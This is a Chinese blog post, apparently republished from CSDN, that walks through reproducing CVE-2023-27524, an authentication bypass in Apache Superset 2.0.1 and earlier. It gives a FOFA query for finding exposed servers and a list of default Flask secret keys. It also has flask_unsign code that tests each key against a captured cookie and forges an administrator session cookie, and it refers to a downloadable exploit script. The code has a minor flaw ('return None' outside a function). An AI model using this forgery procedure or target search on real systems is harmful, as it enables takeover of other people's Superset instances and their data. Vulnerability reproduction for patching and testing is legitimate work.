superset未授权访问漏洞(CVE-2023-27524)复现

发布时间:2024年01月12日

Superset是一个开源的数据探索和可视化平台。它由Apache软件基金会支持,旨在帮助用户通过直观的方式探索、分析和可视化复杂的数据集。Superset支持多种数据源,包括关系型数据库、NoSQL数据库和各种其他数据存储系统。Apache Superset 2.0.1 版本及之前版本存在安全漏洞。攻击者利用该漏洞验证和访问未经授权的资源。

1.漏洞级别

高危

2.漏洞搜索

fofa

title="Superset" 

3.影响范围

Apache Superset 2.0.1 版本及之前版本

4.漏洞复现

4.1 版本检测

访问url/login/,点击右上角设置按钮,下拉即可查看版本。
在这里插入图片描述低于2.0.1版本的服务都在漏洞覆盖范围。

4.2 获取有效cookie

由于漏洞的生成原因是由于使用了默认的加密key,所以我们需要先测试目标网站使用的是哪一个默认key,通常这个是由版本决定的。

#现有的默认key
SECRET_KEYS = [
    b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1
    b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1
    b'thisISaSECRET_1234',                            # deployment template
    b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation
    b'TEST_NON_DEV_SECRET'                            # docker compose
]

superset是python项目,使用的是flask的加密模块,因此我们可以通过对默认key的逐个解密来测试网站使用了那个key。
抓包获取一个随机cookie:
在这里插入图片描述
我们可以使用flask模块进行解密测试:

from flask_unsign import session
SECRET_KEYS = [
    b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1
    b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1
    b'thisISaSECRET_1234',                            # deployment template
    b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation
    b'TEST_NON_DEV_SECRET'                            # docker compose
]
session.decode(cookie)
for key in SECRET_KEYS:
	cracked = session.verify(cookie, key)
	if cracked:
		break
if not cracked:
	print("无法解密cookie")
	return None
print("使用的解密key:"+key.decode())

其中cookie就是我们上文通过抓包获取的页面返回cookie,解密成功的话就会返回正确的key,接下来我们就可以用这个key生成一个新的cookie。

forged_cookie = session.sign({'_user_id': 1, 'user_id': 1}, key)
print("可用的登录cookie:"+forged_cookie)

这里我们默认生成一个userid=1,即管理员账户的cookie,你也可以修改userid的值来生成指定的用户cookie.
在这里插入图片描述
获取到cookie后,可以在浏览器中替换cookie,然后刷新页面,即可成功登录后台。
在这里插入图片描述

4.3脚本利用

使用脚本放附件上,有需要可以自行下载。
执行

python3 -u url

输出内容如下:
在这里插入图片描述

复现到这里就结束了,欢迎随时交流~

在这里插入图片描述

文章来源:https://blog.csdn.net/xiayu729100940/article/details/135533031
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。